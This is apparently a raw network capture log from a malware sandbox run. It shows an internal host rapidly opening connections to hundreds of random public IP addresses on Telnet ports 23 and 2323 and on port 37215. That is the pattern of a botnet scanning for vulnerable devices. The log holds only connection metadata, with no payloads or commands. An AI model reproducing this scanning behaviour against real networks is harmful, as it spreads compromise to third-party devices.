Oct 8, 2024 20:34:54.724498034 CEST	48168	2323	192.168.2.14	222.7.5.102
Oct 8, 2024 20:34:54.724498034 CEST	48168	23	192.168.2.14	202.136.210.44
Oct 8, 2024 20:34:54.724499941 CEST	48168	23	192.168.2.14	62.209.108.6
Oct 8, 2024 20:34:54.724498034 CEST	48168	23	192.168.2.14	133.213.131.220
Oct 8, 2024 20:34:54.724508047 CEST	48168	23	192.168.2.14	14.144.170.232
Oct 8, 2024 20:34:54.724519014 CEST	48168	23	192.168.2.14	125.187.24.23
Oct 8, 2024 20:34:54.724522114 CEST	48168	23	192.168.2.14	77.227.155.76
Oct 8, 2024 20:34:54.724536896 CEST	48168	23	192.168.2.14	82.138.38.142
Oct 8, 2024 20:34:54.724539995 CEST	48168	23	192.168.2.14	204.15.143.218
Oct 8, 2024 20:34:54.724558115 CEST	48168	23	192.168.2.14	113.210.202.16
Oct 8, 2024 20:34:54.724558115 CEST	48168	23	192.168.2.14	145.108.3.248
Oct 8, 2024 20:34:54.724560976 CEST	48168	23	192.168.2.14	111.127.41.198
Oct 8, 2024 20:34:54.724575043 CEST	48168	2323	192.168.2.14	59.97.223.217
Oct 8, 2024 20:34:54.724577904 CEST	48168	23	192.168.2.14	109.181.250.71
Oct 8, 2024 20:34:54.724581003 CEST	48168	23	192.168.2.14	87.78.194.249
Oct 8, 2024 20:34:54.724581003 CEST	48168	23	192.168.2.14	77.56.62.62
Oct 8, 2024 20:34:54.724587917 CEST	48168	23	192.168.2.14	88.75.73.195
Oct 8, 2024 20:34:54.724591970 CEST	48168	23	192.168.2.14	160.168.205.77
Oct 8, 2024 20:34:54.724597931 CEST	48168	23	192.168.2.14	203.75.176.242
Oct 8, 2024 20:34:54.724603891 CEST	48168	2323	192.168.2.14	125.207.234.213
Oct 8, 2024 20:34:54.724622011 CEST	48168	23	192.168.2.14	113.19.218.152
Oct 8, 2024 20:34:54.724626064 CEST	48168	23	192.168.2.14	194.128.199.108
Oct 8, 2024 20:34:54.724632025 CEST	48168	23	192.168.2.14	152.157.106.122
Oct 8, 2024 20:34:54.724646091 CEST	48168	23	192.168.2.14	13.189.21.45
Oct 8, 2024 20:34:54.724647999 CEST	48168	23	192.168.2.14	148.23.164.19
Oct 8, 2024 20:34:54.724647999 CEST	48168	23	192.168.2.14	34.238.174.37
Oct 8, 2024 20:34:54.724658966 CEST	48168	23	192.168.2.14	42.128.75.126
Oct 8, 2024 20:34:54.724688053 CEST	48168	23	192.168.2.14	88.234.220.57
Oct 8, 2024 20:34:54.724689007 CEST	48168	23	192.168.2.14	118.13.222.235
Oct 8, 2024 20:34:54.727647066 CEST	2323	36498	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:54.728437901 CEST	2323	36780	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:54.728517056 CEST	36780	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:54.729023933 CEST	2323	48168	107.196.101.154	192.168.2.14
Oct 8, 2024 20:34:54.729038954 CEST	23	48168	218.225.54.32	192.168.2.14
Oct 8, 2024 20:34:54.729053020 CEST	23	48168	109.147.251.135	192.168.2.14
Oct 8, 2024 20:34:54.729113102 CEST	48168	2323	192.168.2.14	107.196.101.154
Oct 8, 2024 20:34:54.729120016 CEST	48168	23	192.168.2.14	218.225.54.32
Oct 8, 2024 20:34:54.729137897 CEST	48168	23	192.168.2.14	109.147.251.135
Oct 8, 2024 20:34:54.729240894 CEST	23	48168	174.252.255.161	192.168.2.14
Oct 8, 2024 20:34:54.729299068 CEST	48168	23	192.168.2.14	174.252.255.161
Oct 8, 2024 20:34:54.729348898 CEST	23	48168	103.213.46.202	192.168.2.14
Oct 8, 2024 20:34:54.729363918 CEST	23	48168	69.39.47.185	192.168.2.14
Oct 8, 2024 20:34:54.729393959 CEST	48168	23	192.168.2.14	103.213.46.202
Oct 8, 2024 20:34:54.729397058 CEST	48168	23	192.168.2.14	69.39.47.185
Oct 8, 2024 20:34:54.754307985 CEST	37215	59808	197.129.240.243	192.168.2.14
Oct 8, 2024 20:34:54.754530907 CEST	59808	37215	192.168.2.14	197.129.240.243
Oct 8, 2024 20:34:55.215967894 CEST	23	46410	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:55.216440916 CEST	46410	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:55.217029095 CEST	46692	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:55.221575022 CEST	23	46410	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:55.222834110 CEST	23	46692	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:55.222956896 CEST	46692	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:55.261253119 CEST	37215	57476	197.130.245.62	192.168.2.14
Oct 8, 2024 20:34:55.261394024 CEST	57476	37215	192.168.2.14	197.130.245.62
Oct 8, 2024 20:34:55.499821901 CEST	23	34090	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:55.500180960 CEST	34090	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:55.500693083 CEST	34198	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:55.505145073 CEST	23	34090	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:55.505647898 CEST	23	34198	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:55.505707979 CEST	34198	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:55.551440954 CEST	58900	37215	192.168.2.14	156.103.50.200
Oct 8, 2024 20:34:55.551445007 CEST	35418	37215	192.168.2.14	41.219.111.19
Oct 8, 2024 20:34:55.551450968 CEST	53542	37215	192.168.2.14	156.125.110.190
Oct 8, 2024 20:34:55.551465988 CEST	60328	37215	192.168.2.14	156.32.183.41
Oct 8, 2024 20:34:55.556421995 CEST	37215	35418	41.219.111.19	192.168.2.14
Oct 8, 2024 20:34:55.556463003 CEST	37215	58900	156.103.50.200	192.168.2.14
Oct 8, 2024 20:34:55.556498051 CEST	37215	53542	156.125.110.190	192.168.2.14
Oct 8, 2024 20:34:55.556531906 CEST	37215	60328	156.32.183.41	192.168.2.14
Oct 8, 2024 20:34:55.556549072 CEST	35418	37215	192.168.2.14	41.219.111.19
Oct 8, 2024 20:34:55.556591034 CEST	58900	37215	192.168.2.14	156.103.50.200
Oct 8, 2024 20:34:55.556612968 CEST	53542	37215	192.168.2.14	156.125.110.190
Oct 8, 2024 20:34:55.556633949 CEST	60328	37215	192.168.2.14	156.32.183.41
Oct 8, 2024 20:34:55.556780100 CEST	48169	37215	192.168.2.14	41.206.217.168
Oct 8, 2024 20:34:55.556790113 CEST	48169	37215	192.168.2.14	197.188.135.64
Oct 8, 2024 20:34:55.556790113 CEST	48169	37215	192.168.2.14	156.196.119.180
Oct 8, 2024 20:34:55.556817055 CEST	48169	37215	192.168.2.14	197.148.38.33
Oct 8, 2024 20:34:55.556834936 CEST	48169	37215	192.168.2.14	41.126.206.191
Oct 8, 2024 20:34:55.556837082 CEST	48169	37215	192.168.2.14	156.9.173.133
Oct 8, 2024 20:34:55.556840897 CEST	48169	37215	192.168.2.14	197.99.192.124
Oct 8, 2024 20:34:55.556840897 CEST	48169	37215	192.168.2.14	41.132.104.150
Oct 8, 2024 20:34:55.556847095 CEST	48169	37215	192.168.2.14	156.150.11.107
Oct 8, 2024 20:34:55.556852102 CEST	48169	37215	192.168.2.14	197.84.253.185
Oct 8, 2024 20:34:55.556859970 CEST	48169	37215	192.168.2.14	197.58.175.124
Oct 8, 2024 20:34:55.556907892 CEST	48169	37215	192.168.2.14	156.184.128.75
Oct 8, 2024 20:34:55.556910038 CEST	48169	37215	192.168.2.14	197.72.206.33
Oct 8, 2024 20:34:55.556912899 CEST	48169	37215	192.168.2.14	197.68.74.133
Oct 8, 2024 20:34:55.556922913 CEST	48169	37215	192.168.2.14	197.76.150.216
Oct 8, 2024 20:34:55.556925058 CEST	48169	37215	192.168.2.14	197.216.205.44
Oct 8, 2024 20:34:55.556925058 CEST	48169	37215	192.168.2.14	41.178.224.0
Oct 8, 2024 20:34:55.556952953 CEST	48169	37215	192.168.2.14	41.75.104.202
Oct 8, 2024 20:34:55.556955099 CEST	48169	37215	192.168.2.14	197.106.219.53
Oct 8, 2024 20:34:55.556957006 CEST	48169	37215	192.168.2.14	197.23.15.106
Oct 8, 2024 20:34:55.556992054 CEST	48169	37215	192.168.2.14	156.244.120.81
Oct 8, 2024 20:34:55.557013988 CEST	48169	37215	192.168.2.14	197.171.50.182
Oct 8, 2024 20:34:55.557015896 CEST	48169	37215	192.168.2.14	41.229.137.186
Oct 8, 2024 20:34:55.557018995 CEST	48169	37215	192.168.2.14	197.160.43.185
Oct 8, 2024 20:34:55.557035923 CEST	48169	37215	192.168.2.14	156.33.229.36
Oct 8, 2024 20:34:55.557037115 CEST	48169	37215	192.168.2.14	156.54.149.143
Oct 8, 2024 20:34:55.557045937 CEST	48169	37215	192.168.2.14	41.231.246.166
Oct 8, 2024 20:34:55.557064056 CEST	48169	37215	192.168.2.14	41.135.235.217
Oct 8, 2024 20:34:55.557080030 CEST	48169	37215	192.168.2.14	41.82.251.103
Oct 8, 2024 20:34:55.557101011 CEST	48169	37215	192.168.2.14	156.109.35.230
Oct 8, 2024 20:34:55.557101011 CEST	48169	37215	192.168.2.14	156.245.87.134
Oct 8, 2024 20:34:55.557107925 CEST	48169	37215	192.168.2.14	197.129.182.65
Oct 8, 2024 20:34:55.557122946 CEST	48169	37215	192.168.2.14	41.39.122.43
Oct 8, 2024 20:34:55.557122946 CEST	48169	37215	192.168.2.14	41.61.159.176
Oct 8, 2024 20:34:55.557122946 CEST	48169	37215	192.168.2.14	41.231.0.126
Oct 8, 2024 20:34:55.557126045 CEST	48169	37215	192.168.2.14	197.95.46.66
Oct 8, 2024 20:34:55.557142973 CEST	48169	37215	192.168.2.14	197.85.197.68
Oct 8, 2024 20:34:55.557148933 CEST	48169	37215	192.168.2.14	41.114.141.158
Oct 8, 2024 20:34:55.557152033 CEST	48169	37215	192.168.2.14	41.104.123.154
Oct 8, 2024 20:34:55.557154894 CEST	48169	37215	192.168.2.14	197.75.145.101
Oct 8, 2024 20:34:55.557158947 CEST	48169	37215	192.168.2.14	41.144.57.235
Oct 8, 2024 20:34:55.557167053 CEST	48169	37215	192.168.2.14	156.173.191.194
Oct 8, 2024 20:34:55.557176113 CEST	48169	37215	192.168.2.14	41.75.12.165
Oct 8, 2024 20:34:55.557179928 CEST	48169	37215	192.168.2.14	156.66.30.6
Oct 8, 2024 20:34:55.557189941 CEST	48169	37215	192.168.2.14	156.60.152.213
Oct 8, 2024 20:34:55.557209969 CEST	48169	37215	192.168.2.14	197.237.224.136
Oct 8, 2024 20:34:55.557209969 CEST	48169	37215	192.168.2.14	41.212.4.209
Oct 8, 2024 20:34:55.557219028 CEST	48169	37215	192.168.2.14	197.21.120.182
Oct 8, 2024 20:34:55.557225943 CEST	48169	37215	192.168.2.14	197.71.140.28
Oct 8, 2024 20:34:55.557236910 CEST	48169	37215	192.168.2.14	41.3.52.83
Oct 8, 2024 20:34:55.557240009 CEST	48169	37215	192.168.2.14	156.126.6.231
Oct 8, 2024 20:34:55.557245016 CEST	48169	37215	192.168.2.14	197.91.221.188
Oct 8, 2024 20:34:55.557250023 CEST	48169	37215	192.168.2.14	197.42.54.201
Oct 8, 2024 20:34:55.557255030 CEST	48169	37215	192.168.2.14	156.166.199.178
Oct 8, 2024 20:34:55.557271004 CEST	48169	37215	192.168.2.14	197.123.151.190
Oct 8, 2024 20:34:55.557271004 CEST	48169	37215	192.168.2.14	41.231.238.172
Oct 8, 2024 20:34:55.557285070 CEST	48169	37215	192.168.2.14	197.206.159.179
Oct 8, 2024 20:34:55.557285070 CEST	48169	37215	192.168.2.14	41.241.68.240
Oct 8, 2024 20:34:55.557306051 CEST	48169	37215	192.168.2.14	156.156.68.138
Oct 8, 2024 20:34:55.557307959 CEST	48169	37215	192.168.2.14	197.26.143.211
Oct 8, 2024 20:34:55.557318926 CEST	48169	37215	192.168.2.14	197.161.78.217
Oct 8, 2024 20:34:55.557318926 CEST	48169	37215	192.168.2.14	156.68.141.208
Oct 8, 2024 20:34:55.557321072 CEST	48169	37215	192.168.2.14	41.67.30.14
Oct 8, 2024 20:34:55.557348013 CEST	48169	37215	192.168.2.14	197.145.161.203
Oct 8, 2024 20:34:55.557353973 CEST	48169	37215	192.168.2.14	156.131.17.222
Oct 8, 2024 20:34:55.557353973 CEST	48169	37215	192.168.2.14	156.76.221.229
Oct 8, 2024 20:34:55.557367086 CEST	48169	37215	192.168.2.14	156.188.212.194
Oct 8, 2024 20:34:55.557367086 CEST	48169	37215	192.168.2.14	197.11.34.87
Oct 8, 2024 20:34:55.557383060 CEST	48169	37215	192.168.2.14	197.30.191.205
Oct 8, 2024 20:34:55.557383060 CEST	48169	37215	192.168.2.14	197.70.7.124
Oct 8, 2024 20:34:55.557384014 CEST	48169	37215	192.168.2.14	197.69.64.180
Oct 8, 2024 20:34:55.557394981 CEST	48169	37215	192.168.2.14	197.56.118.247
Oct 8, 2024 20:34:55.557404995 CEST	48169	37215	192.168.2.14	41.4.87.40
Oct 8, 2024 20:34:55.557420015 CEST	48169	37215	192.168.2.14	156.88.229.99
Oct 8, 2024 20:34:55.557420015 CEST	48169	37215	192.168.2.14	41.116.215.52
Oct 8, 2024 20:34:55.557432890 CEST	48169	37215	192.168.2.14	41.193.92.74
Oct 8, 2024 20:34:55.557432890 CEST	48169	37215	192.168.2.14	41.44.129.66
Oct 8, 2024 20:34:55.557432890 CEST	48169	37215	192.168.2.14	41.31.61.55
Oct 8, 2024 20:34:55.557435036 CEST	48169	37215	192.168.2.14	197.149.49.248
Oct 8, 2024 20:34:55.557452917 CEST	48169	37215	192.168.2.14	156.153.22.31
Oct 8, 2024 20:34:55.557457924 CEST	48169	37215	192.168.2.14	197.0.116.14
Oct 8, 2024 20:34:55.557457924 CEST	48169	37215	192.168.2.14	197.150.121.110
Oct 8, 2024 20:34:55.557466030 CEST	48169	37215	192.168.2.14	41.210.107.124
Oct 8, 2024 20:34:55.557478905 CEST	48169	37215	192.168.2.14	41.162.115.10
Oct 8, 2024 20:34:55.557482958 CEST	48169	37215	192.168.2.14	41.205.102.101
Oct 8, 2024 20:34:55.557495117 CEST	48169	37215	192.168.2.14	197.10.219.224
Oct 8, 2024 20:34:55.557503939 CEST	48169	37215	192.168.2.14	156.125.66.184
Oct 8, 2024 20:34:55.557507038 CEST	48169	37215	192.168.2.14	156.156.185.144
Oct 8, 2024 20:34:55.557507038 CEST	48169	37215	192.168.2.14	156.129.143.36
Oct 8, 2024 20:34:55.557513952 CEST	48169	37215	192.168.2.14	41.161.166.2
Oct 8, 2024 20:34:55.557534933 CEST	48169	37215	192.168.2.14	41.231.75.63
Oct 8, 2024 20:34:55.557534933 CEST	48169	37215	192.168.2.14	41.164.69.208
Oct 8, 2024 20:34:55.557553053 CEST	48169	37215	192.168.2.14	156.199.238.52
Oct 8, 2024 20:34:55.557555914 CEST	48169	37215	192.168.2.14	156.17.181.207
Oct 8, 2024 20:34:55.557559967 CEST	48169	37215	192.168.2.14	41.8.207.242
Oct 8, 2024 20:34:55.557571888 CEST	48169	37215	192.168.2.14	41.55.6.45
Oct 8, 2024 20:34:55.557581902 CEST	48169	37215	192.168.2.14	156.89.29.180
Oct 8, 2024 20:34:55.557590961 CEST	48169	37215	192.168.2.14	41.197.167.52
Oct 8, 2024 20:34:55.557590961 CEST	48169	37215	192.168.2.14	156.229.123.42
Oct 8, 2024 20:34:55.557600975 CEST	48169	37215	192.168.2.14	41.50.234.57
Oct 8, 2024 20:34:55.557612896 CEST	48169	37215	192.168.2.14	41.220.250.31
Oct 8, 2024 20:34:55.557612896 CEST	48169	37215	192.168.2.14	156.69.103.27
Oct 8, 2024 20:34:55.557621002 CEST	48169	37215	192.168.2.14	156.104.185.208
Oct 8, 2024 20:34:55.557621002 CEST	48169	37215	192.168.2.14	156.131.72.97
Oct 8, 2024 20:34:55.557625055 CEST	48169	37215	192.168.2.14	41.62.200.167
Oct 8, 2024 20:34:55.557624102 CEST	48169	37215	192.168.2.14	156.60.40.60
Oct 8, 2024 20:34:55.557635069 CEST	48169	37215	192.168.2.14	156.178.164.43
Oct 8, 2024 20:34:55.557636976 CEST	48169	37215	192.168.2.14	41.112.99.222
Oct 8, 2024 20:34:55.557645082 CEST	48169	37215	192.168.2.14	156.129.143.73
Oct 8, 2024 20:34:55.557646990 CEST	48169	37215	192.168.2.14	197.204.73.124
Oct 8, 2024 20:34:55.557653904 CEST	48169	37215	192.168.2.14	197.105.93.77
Oct 8, 2024 20:34:55.557661057 CEST	48169	37215	192.168.2.14	197.215.238.190
Oct 8, 2024 20:34:55.557677984 CEST	48169	37215	192.168.2.14	197.188.221.56
Oct 8, 2024 20:34:55.557677984 CEST	48169	37215	192.168.2.14	197.156.142.26
Oct 8, 2024 20:34:55.557709932 CEST	48169	37215	192.168.2.14	156.0.177.211
Oct 8, 2024 20:34:55.557710886 CEST	48169	37215	192.168.2.14	197.52.13.169
Oct 8, 2024 20:34:55.557723999 CEST	48169	37215	192.168.2.14	156.84.19.145
Oct 8, 2024 20:34:55.557723999 CEST	48169	37215	192.168.2.14	197.210.139.132
Oct 8, 2024 20:34:55.557728052 CEST	48169	37215	192.168.2.14	197.165.246.113
Oct 8, 2024 20:34:55.557729006 CEST	48169	37215	192.168.2.14	156.214.117.78
Oct 8, 2024 20:34:55.557729006 CEST	48169	37215	192.168.2.14	197.4.59.143
Oct 8, 2024 20:34:55.557733059 CEST	48169	37215	192.168.2.14	156.252.252.143
Oct 8, 2024 20:34:55.557746887 CEST	48169	37215	192.168.2.14	156.74.91.243
Oct 8, 2024 20:34:55.557754040 CEST	48169	37215	192.168.2.14	41.63.138.24
Oct 8, 2024 20:34:55.557761908 CEST	48169	37215	192.168.2.14	197.52.143.198
Oct 8, 2024 20:34:55.557763100 CEST	48169	37215	192.168.2.14	197.179.237.210
Oct 8, 2024 20:34:55.557775021 CEST	48169	37215	192.168.2.14	197.66.2.122
Oct 8, 2024 20:34:55.557779074 CEST	48169	37215	192.168.2.14	156.191.140.216
Oct 8, 2024 20:34:55.557787895 CEST	48169	37215	192.168.2.14	41.44.223.6
Oct 8, 2024 20:34:55.557796001 CEST	48169	37215	192.168.2.14	41.148.142.16
Oct 8, 2024 20:34:55.557801962 CEST	48169	37215	192.168.2.14	156.221.15.37
Oct 8, 2024 20:34:55.557806969 CEST	48169	37215	192.168.2.14	156.166.224.44
Oct 8, 2024 20:34:55.557816029 CEST	48169	37215	192.168.2.14	41.250.235.191
Oct 8, 2024 20:34:55.557822943 CEST	48169	37215	192.168.2.14	197.4.72.245
Oct 8, 2024 20:34:55.557827950 CEST	48169	37215	192.168.2.14	156.192.49.129
Oct 8, 2024 20:34:55.557837009 CEST	48169	37215	192.168.2.14	41.181.238.186
Oct 8, 2024 20:34:55.557864904 CEST	48169	37215	192.168.2.14	41.238.131.32
Oct 8, 2024 20:34:55.557864904 CEST	48169	37215	192.168.2.14	197.172.208.162
Oct 8, 2024 20:34:55.557864904 CEST	48169	37215	192.168.2.14	41.152.58.188
Oct 8, 2024 20:34:55.557871103 CEST	48169	37215	192.168.2.14	41.169.117.130
Oct 8, 2024 20:34:55.557878017 CEST	48169	37215	192.168.2.14	156.133.29.155
Oct 8, 2024 20:34:55.557887077 CEST	48169	37215	192.168.2.14	41.155.26.34
Oct 8, 2024 20:34:55.557884932 CEST	48169	37215	192.168.2.14	156.17.217.205
Oct 8, 2024 20:34:55.557884932 CEST	48169	37215	192.168.2.14	156.134.74.74
Oct 8, 2024 20:34:55.557893991 CEST	48169	37215	192.168.2.14	197.144.75.61
Oct 8, 2024 20:34:55.557898998 CEST	48169	37215	192.168.2.14	197.209.34.137
Oct 8, 2024 20:34:55.557909012 CEST	48169	37215	192.168.2.14	197.233.12.198
Oct 8, 2024 20:34:55.557923079 CEST	48169	37215	192.168.2.14	197.64.162.203
Oct 8, 2024 20:34:55.557923079 CEST	48169	37215	192.168.2.14	156.240.128.228
Oct 8, 2024 20:34:55.557934046 CEST	48169	37215	192.168.2.14	41.34.75.201
Oct 8, 2024 20:34:55.557941914 CEST	48169	37215	192.168.2.14	41.101.136.77
Oct 8, 2024 20:34:55.557955980 CEST	48169	37215	192.168.2.14	41.207.183.90
Oct 8, 2024 20:34:55.557957888 CEST	48169	37215	192.168.2.14	197.57.1.137
Oct 8, 2024 20:34:55.557975054 CEST	48169	37215	192.168.2.14	41.216.22.120
Oct 8, 2024 20:34:55.557976961 CEST	48169	37215	192.168.2.14	197.119.140.148
Oct 8, 2024 20:34:55.557976961 CEST	48169	37215	192.168.2.14	156.147.184.29
Oct 8, 2024 20:34:55.557977915 CEST	48169	37215	192.168.2.14	41.68.97.78
Oct 8, 2024 20:34:55.557985067 CEST	48169	37215	192.168.2.14	41.105.177.127
Oct 8, 2024 20:34:55.557987928 CEST	48169	37215	192.168.2.14	156.95.253.156
Oct 8, 2024 20:34:55.558005095 CEST	48169	37215	192.168.2.14	41.207.183.236
Oct 8, 2024 20:34:55.558005095 CEST	48169	37215	192.168.2.14	41.231.236.154
Oct 8, 2024 20:34:55.558022022 CEST	48169	37215	192.168.2.14	41.32.15.66
Oct 8, 2024 20:34:55.558022022 CEST	48169	37215	192.168.2.14	156.122.24.169
Oct 8, 2024 20:34:55.558026075 CEST	48169	37215	192.168.2.14	197.80.101.19
Oct 8, 2024 20:34:55.558039904 CEST	48169	37215	192.168.2.14	197.255.93.7
Oct 8, 2024 20:34:55.558039904 CEST	48169	37215	192.168.2.14	156.139.25.64
Oct 8, 2024 20:34:55.558063984 CEST	48169	37215	192.168.2.14	41.135.180.144
Oct 8, 2024 20:34:55.558063984 CEST	48169	37215	192.168.2.14	156.120.85.77
Oct 8, 2024 20:34:55.558079958 CEST	48169	37215	192.168.2.14	197.136.251.92
Oct 8, 2024 20:34:55.558082104 CEST	48169	37215	192.168.2.14	41.37.185.81
Oct 8, 2024 20:34:55.558083057 CEST	48169	37215	192.168.2.14	41.193.1.189
Oct 8, 2024 20:34:55.558096886 CEST	48169	37215	192.168.2.14	197.50.195.51
Oct 8, 2024 20:34:55.558119059 CEST	48169	37215	192.168.2.14	41.119.117.16
Oct 8, 2024 20:34:55.558131933 CEST	48169	37215	192.168.2.14	156.125.8.222
Oct 8, 2024 20:34:55.558135033 CEST	48169	37215	192.168.2.14	197.214.227.43
Oct 8, 2024 20:34:55.558136940 CEST	48169	37215	192.168.2.14	156.87.112.117
Oct 8, 2024 20:34:55.558156967 CEST	48169	37215	192.168.2.14	156.78.206.150
Oct 8, 2024 20:34:55.558162928 CEST	48169	37215	192.168.2.14	41.130.101.38
Oct 8, 2024 20:34:55.558167934 CEST	48169	37215	192.168.2.14	41.198.208.198
Oct 8, 2024 20:34:55.558175087 CEST	48169	37215	192.168.2.14	156.105.190.38
Oct 8, 2024 20:34:55.558177948 CEST	48169	37215	192.168.2.14	156.245.160.115
Oct 8, 2024 20:34:55.558191061 CEST	48169	37215	192.168.2.14	197.116.66.37
Oct 8, 2024 20:34:55.558192015 CEST	48169	37215	192.168.2.14	197.43.34.249
Oct 8, 2024 20:34:55.558192968 CEST	48169	37215	192.168.2.14	156.133.115.117
Oct 8, 2024 20:34:55.558202028 CEST	48169	37215	192.168.2.14	197.163.105.189
Oct 8, 2024 20:34:55.558207989 CEST	48169	37215	192.168.2.14	156.210.147.38
Oct 8, 2024 20:34:55.558207989 CEST	48169	37215	192.168.2.14	197.71.43.166
Oct 8, 2024 20:34:55.558213949 CEST	48169	37215	192.168.2.14	41.150.202.251
Oct 8, 2024 20:34:55.558218956 CEST	48169	37215	192.168.2.14	197.110.50.243
Oct 8, 2024 20:34:55.558222055 CEST	48169	37215	192.168.2.14	156.166.133.83
Oct 8, 2024 20:34:55.558233976 CEST	48169	37215	192.168.2.14	41.59.211.123
Oct 8, 2024 20:34:55.558240891 CEST	48169	37215	192.168.2.14	197.204.122.67
Oct 8, 2024 20:34:55.558257103 CEST	48169	37215	192.168.2.14	41.139.187.84
Oct 8, 2024 20:34:55.558257103 CEST	48169	37215	192.168.2.14	41.119.61.165
Oct 8, 2024 20:34:55.558270931 CEST	48169	37215	192.168.2.14	197.212.207.90
Oct 8, 2024 20:34:55.558270931 CEST	48169	37215	192.168.2.14	156.0.64.34
Oct 8, 2024 20:34:55.558284044 CEST	48169	37215	192.168.2.14	41.93.110.197
Oct 8, 2024 20:34:55.558284044 CEST	48169	37215	192.168.2.14	197.203.84.253
Oct 8, 2024 20:34:55.558289051 CEST	48169	37215	192.168.2.14	156.19.96.199
Oct 8, 2024 20:34:55.558290958 CEST	48169	37215	192.168.2.14	41.157.153.152
Oct 8, 2024 20:34:55.558301926 CEST	48169	37215	192.168.2.14	156.118.20.152
Oct 8, 2024 20:34:55.558310986 CEST	48169	37215	192.168.2.14	197.10.41.138
Oct 8, 2024 20:34:55.558330059 CEST	48169	37215	192.168.2.14	156.75.38.88
Oct 8, 2024 20:34:55.558334112 CEST	48169	37215	192.168.2.14	197.0.218.243
Oct 8, 2024 20:34:55.558341026 CEST	48169	37215	192.168.2.14	41.205.127.152
Oct 8, 2024 20:34:55.558346033 CEST	48169	37215	192.168.2.14	41.203.130.60
Oct 8, 2024 20:34:55.558353901 CEST	48169	37215	192.168.2.14	41.22.56.1
Oct 8, 2024 20:34:55.558362961 CEST	48169	37215	192.168.2.14	156.100.231.72
Oct 8, 2024 20:34:55.558363914 CEST	48169	37215	192.168.2.14	156.220.24.253
Oct 8, 2024 20:34:55.558367014 CEST	48169	37215	192.168.2.14	197.245.228.18
Oct 8, 2024 20:34:55.558368921 CEST	48169	37215	192.168.2.14	197.244.13.201
Oct 8, 2024 20:34:55.558368921 CEST	48169	37215	192.168.2.14	41.4.226.15
Oct 8, 2024 20:34:55.558377981 CEST	48169	37215	192.168.2.14	156.88.101.137
Oct 8, 2024 20:34:55.558379889 CEST	48169	37215	192.168.2.14	41.118.167.39
Oct 8, 2024 20:34:55.558381081 CEST	48169	37215	192.168.2.14	41.129.130.14
Oct 8, 2024 20:34:55.558387995 CEST	48169	37215	192.168.2.14	197.228.175.198
Oct 8, 2024 20:34:55.558391094 CEST	48169	37215	192.168.2.14	197.26.186.84
Oct 8, 2024 20:34:55.558392048 CEST	48169	37215	192.168.2.14	197.118.139.77
Oct 8, 2024 20:34:55.558391094 CEST	48169	37215	192.168.2.14	156.45.191.178
Oct 8, 2024 20:34:55.558393955 CEST	48169	37215	192.168.2.14	41.157.231.59
Oct 8, 2024 20:34:55.558391094 CEST	48169	37215	192.168.2.14	156.137.173.16
Oct 8, 2024 20:34:55.558391094 CEST	48169	37215	192.168.2.14	156.12.59.120
Oct 8, 2024 20:34:55.558398962 CEST	48169	37215	192.168.2.14	41.132.154.57
Oct 8, 2024 20:34:55.558420897 CEST	48169	37215	192.168.2.14	197.247.193.225
Oct 8, 2024 20:34:55.558429003 CEST	48169	37215	192.168.2.14	41.64.231.137
Oct 8, 2024 20:34:55.558437109 CEST	48169	37215	192.168.2.14	156.106.161.138
Oct 8, 2024 20:34:55.558443069 CEST	48169	37215	192.168.2.14	197.92.156.246
Oct 8, 2024 20:34:55.558458090 CEST	48169	37215	192.168.2.14	41.117.58.178
Oct 8, 2024 20:34:55.558459997 CEST	48169	37215	192.168.2.14	41.199.136.255
Oct 8, 2024 20:34:55.558466911 CEST	48169	37215	192.168.2.14	156.139.115.171
Oct 8, 2024 20:34:55.558473110 CEST	48169	37215	192.168.2.14	197.151.44.237
Oct 8, 2024 20:34:55.558475018 CEST	48169	37215	192.168.2.14	156.233.68.23
Oct 8, 2024 20:34:55.558495045 CEST	48169	37215	192.168.2.14	41.200.63.31
Oct 8, 2024 20:34:55.558496952 CEST	48169	37215	192.168.2.14	197.198.20.240
Oct 8, 2024 20:34:55.558509111 CEST	48169	37215	192.168.2.14	156.42.38.94
Oct 8, 2024 20:34:55.558521032 CEST	48169	37215	192.168.2.14	197.121.96.115
Oct 8, 2024 20:34:55.558521032 CEST	48169	37215	192.168.2.14	197.182.141.135
Oct 8, 2024 20:34:55.558523893 CEST	48169	37215	192.168.2.14	197.194.242.110
Oct 8, 2024 20:34:55.558535099 CEST	48169	37215	192.168.2.14	156.90.179.218
Oct 8, 2024 20:34:55.558537006 CEST	48169	37215	192.168.2.14	41.94.43.152
Oct 8, 2024 20:34:55.558537006 CEST	48169	37215	192.168.2.14	156.203.36.56
Oct 8, 2024 20:34:55.558543921 CEST	48169	37215	192.168.2.14	41.215.148.195
Oct 8, 2024 20:34:55.558547974 CEST	48169	37215	192.168.2.14	197.200.188.101
Oct 8, 2024 20:34:55.558551073 CEST	48169	37215	192.168.2.14	156.22.25.95
Oct 8, 2024 20:34:55.558564901 CEST	48169	37215	192.168.2.14	156.70.120.216
Oct 8, 2024 20:34:55.558566093 CEST	48169	37215	192.168.2.14	41.196.34.79
Oct 8, 2024 20:34:55.558578968 CEST	48169	37215	192.168.2.14	41.140.75.167
Oct 8, 2024 20:34:55.558579922 CEST	48169	37215	192.168.2.14	41.136.180.2
Oct 8, 2024 20:34:55.558588982 CEST	48169	37215	192.168.2.14	197.121.65.34
Oct 8, 2024 20:34:55.558589935 CEST	48169	37215	192.168.2.14	41.41.21.128
Oct 8, 2024 20:34:55.558599949 CEST	48169	37215	192.168.2.14	41.21.18.132
Oct 8, 2024 20:34:55.558604002 CEST	48169	37215	192.168.2.14	41.169.187.211
Oct 8, 2024 20:34:55.558612108 CEST	48169	37215	192.168.2.14	197.190.155.254
Oct 8, 2024 20:34:55.558612108 CEST	48169	37215	192.168.2.14	197.131.173.76
Oct 8, 2024 20:34:55.558624029 CEST	48169	37215	192.168.2.14	41.47.17.171
